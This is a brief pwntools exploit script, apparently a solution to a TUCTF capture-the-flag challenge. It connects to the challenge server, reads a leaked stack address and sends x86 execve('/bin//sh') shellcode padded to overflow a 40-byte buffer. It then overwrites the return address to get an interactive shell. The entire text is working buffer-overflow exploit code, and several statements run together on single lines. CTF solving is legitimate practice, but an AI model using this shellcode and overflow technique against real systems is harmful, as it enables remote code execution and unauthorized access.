```from pwn import *
host = 'chal.tuctf.com'port = 30506
p = remote(host, port)p.recvuntil('Shellcode... Can you say shellcode?\n')add = int(p.recv().strip()[:10], 16)a ="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"a +="\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"a += 'a'*(40-21)a += p32(add) p.sendline(a)p.interactive()```